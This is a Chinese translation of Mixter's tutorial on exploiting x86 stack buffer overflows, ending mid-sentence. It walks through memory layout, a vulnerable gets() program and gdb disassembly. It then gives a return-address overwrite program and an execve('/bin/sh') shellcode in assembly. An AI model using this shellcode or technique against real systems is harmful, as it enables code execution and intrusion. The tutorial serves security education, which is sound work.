緩沖區溢出出現在用戶輸入的相關緩沖區內,在一般情況下,這是現在的計算機和網絡上的最大的安全隱患之一。這是因為在編程的層次上很容易出現這中問題,這對于不明白或是無法獲得源代碼的使用者來說是不可見的,很多的這中問題就會被利用。本文就是企圖教會新手-C程序員,證明怎么利用一個溢出環境。- Mixter
1 內存
注:我這里的描述方式是在大多數計算機上內存是進程的組織者,但是它是依賴處理器體系結構的類型。這是一個x86的例子,同時也可以大致應用在sparc。
緩沖區溢出的攻擊原理是不應該是重寫隨機輸入和在進程中執行代碼的內存的重寫。要看在什么地方和怎么發生的溢出,讓我們來看下內存是如何組織的。頁面是使用自己相關地址的內存的一個部分,這就意味著內核的進程的初始化,這就沒有必要知道在RAM中存儲的物理地址。進程內存由下面三個部分組成:
代碼段,在這一段代碼中你的數據是通過匯編指令在處理器中執行的。該代碼執行是非線性的,它可以跳過代碼,跳躍,在某種條件下調用函數。以此,我們使用EIP指針,或是指針指令。其中EIP指向的地址總是包含下一個執行代碼。
數據段,變量空間和動態緩沖器。
堆棧段,這是用來給函數傳遞變量的和和作為函數變量的空間。在棧的底部位于每一頁的虛擬內存的盡頭,同時向下增長。匯編命令PUSHL會增加到棧的頂部,POPL會從棧的頂部移除項目并且把它們放到寄存器中。要直接訪問棧寄存器,在棧的頂部有棧頂指針ESP。
2 函數
函數是一段代碼段的代碼,當被調用執行一個任務,之后返回執行的前一個主題。或是,把參數傳遞給函數,在匯編語言中,通常看起來是這樣的。
memory address code0x8054321 pushl $0x00x8054322 call $0x80543a0 0x8054327 ret0x8054328 leave…0x80543a0 popl %eax0x80543a1 addl $0x1337,%eax0x80543a4 ret這會發生什么?主函數調用了function(0);
變量是0,主要把它壓入棧中,同時調用該函數。該函數使用popl來獲取棧中的變量。完成后,返回0×8054327。通常,主函數要把EBP寄存器壓入棧中,主要是儲存和在結束后在儲存。這是幀指針的概念,即允許函數使用自己的偏移地址,在對付攻擊時就變的很無趣了。因為函數將不會返回到原有的執行線程。
我們只需要知道棧。在頂部,我們有函數的內部緩沖區和變量。在此之后,有保存的EBP寄存器(32位,4個字節),然后返回地址,是另外的4個字節。再往下,還有要傳遞給函數的參數,這對我們沒有用。
在這種情況下,我們返回的地址是0×8054327。在函數被調用時,它就會自動的存儲到棧中。如果代碼中存在溢出的地方,這個返回值會被覆蓋,并且指針指向下內存中的下一個位置。
3 一個可以利用的程序實例
讓我們假設我們要利用的函數為:
void lame (void) { char small[30]; gets (small); printf("%s
", small); } main() { lame (); return 0; } Compile and disassemble it: # cc -ggdb blah.c -o blah /tmp/cca017401.o: In function `lame': /root/blah.c:1: the `gets' function is dangerous and should not be used. # gdb blah /* short explanation: gdb, the GNU debugger is used here to read the binary file and disassemble it (translate bytes to assembler code) */ (gdb) disas main Dump of assembler code for function main: 0x80484c8 : pushl %ebp 0x80484c9 : movl %esp,%ebp 0x80484cb : call 0x80484a0 0x80484d0 : leave 0x80484d1 : ret (gdb) disas lame Dump of assembler code for function lame: /* saving the frame pointer onto the stack right before the ret address */ 0x80484a0 : pushl %ebp 0x80484a1 : movl %esp,%ebp /* enlarge the stack by 0×20 or 32. our buffer is 30 characters, but the memory is allocated 4byte-wise (because the processor uses 32bit words) this is the equivalent to: char small[30]; */ 0x80484a3 : subl $0×20,%esp /* load a pointer to small[30] (the space on the stack, which is located at virtual address 0xffffffe0(%ebp)) on the stack, and call the gets function: gets(small); */ 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec 0x80484af : addl $0×4,%esp /* load the address of small and the address of "%s
" string on stack and call the print function: printf("%s
", small); */ 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc 0x80484c0 : addl $0×8,%esp /* get the return address, 0x80484d0, from stack and return to that address. you don't see that explicitly here because it is done by the CPU as 'ret' */ 0x80484c3 : leave 0x80484c4 : ret End of assembler dump. 3.1 程序溢出
# ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0×24 36 ecx: 0x804852f 134513967 edx: 0×1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0×787878 7895160 EBP是0×787878,這就意味我們已經寫入了超出緩沖區輸入可以控制的范圍。0×78的x是十六進制的標志。該過程有32個字節的最大的緩沖器。我們已經在內存中寫入了比用戶輸入更多的數據,因此重寫EBP和返回值的地址是'xxxx',這個過程會嘗試在地址0×787878處重復執行,這就會導致段的錯誤。
3.2 改變返回值地址
讓我們嘗試利用這個程序來返回lame(),我們要改變返回值的地址從0x80484d0到0x80484cb,在內存中,我們有32字節的緩沖區空間|4個字節保存EBP|4個字節的RET。下面是一個很簡單的程序,把4個字節的返回地址變成一個1個字節字符緩沖區:
main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret ???????????, # (ret;cat)|./blah test <- user input ???????????,test test <- user input test 我們在這里使用這個程序通過了函數兩次。如果有溢出存在,函數的返回值地址是可以變的,從而改變程序的執行線程。
4 Shellcode
為了簡單,Shellcode使用簡單的匯編指令,我們寫在棧上,然后更改返回地址,使它返回到棧內。使用這個方法,我們可以我們可以把代碼插入到一個脆弱的進程中,然后在棧中正確的執行它。所以,讓我們通過插入的匯編代碼來運行一個Shell。一個常見的調用命令是execve(),它加載和運行任意的二進制代碼,終止執行當前的進程。聯機界面給我的應用:
int execve (const char *filename, char *const argv [], char *const envp[]); Lets get the details of the system call from glibc2: # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 : pushl %ebx /* this is the actual syscall. before a program would call execve, it would push the arguments in reverse order on the stack: **envp, **argv, *filename */ /* put address of **envp into edx register */ 0x5da01 : movl 0×10(%esp,1),%edx /* put address of **argv into ecx register */ 0x5da05 : movl 0xc(%esp,1),%ecx /* put address of *filename into ebx register */ 0x5da09 : movl 0×8(%esp,1),%ebx /* put 0xb in eax register; 0xb == execve in the internal system call table */ 0x5da0d : movl $0xb,%eax /* give control to kernel, to execute execve instruction */ 0x5da12 : int $0×80 0x5da14 : popl %ebx 0x5da15 : cmpl $0xfffff001,%eax 0x5da1a : jae 0x5da1d <__syscall_error> 0x5da1c : ret 結束匯編轉存。
4.1 使代碼可移植
我們必須應用一個策略使沒有參數的Shellcode在內存中的傳統方式,通過在它們的頁存儲上的精確位置,在編譯中完成。
一旦我們估計shellcode的大小,我們能夠使用指令jmp和call來得到指定的字節在執行線程向前或是向后。為什么使用call?我們有機會使用CALL來自動的在棧內存儲返回地址,這個返回地址是在下一個CALL指令后的4個字節。通過放置一個正確的變量通過使用call,我們間接的把地址壓進了棧中,沒有必要了解它。
0 jmp (skip Z bytes forward) 2 popl %esi … put function(s) here … Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL) Z+5 .string (first variable) (注:如果你要寫的代碼比一個簡單的shell還要復雜,可以多次使用上面的代碼。字符串放在代碼的后面。你知道這些字符串的大小,因此可以計算他們的相對位置,一旦你知道第一個字符串的位置。)
4.2 Shellcode
global code_start /* we'll need this later, dont mind it */ global code_end .data code_start: jmp 0×17 popl %esi movl %esi,0×8(%esi) /* put address of **argv behind shellcode, 0×8 bytes behind it so a /bin/sh has place */ xorl %eax,%eax /* put 0 in %eax */ movb %eax,0×7(%esi) /* put terminating 0 after /bin/sh string */ movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0×8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0×80 /* ); */ call -0x1c .string "/bin/shX" /* X is overwritten by movb %eax,0×7(%esi) */ code_end: (相對偏移了0×17和-0x1c通過放在0×0,編譯,反匯編和看看shell代碼的大小。)
這是一個正在工作著的shellcode,雖然很小。你至少使用exit()來調用和依附它(在調用之前)。Shellcode的正真的藝術還包括避免任何二進制0代碼和修改它為例,二進制代碼不包含控制和小寫字符,這將會過濾掉一些問題程序。大多數的東西是通過自己修改代碼來完成的,就是我們想的使用mov %eax,0×7(%esi)指令。我們用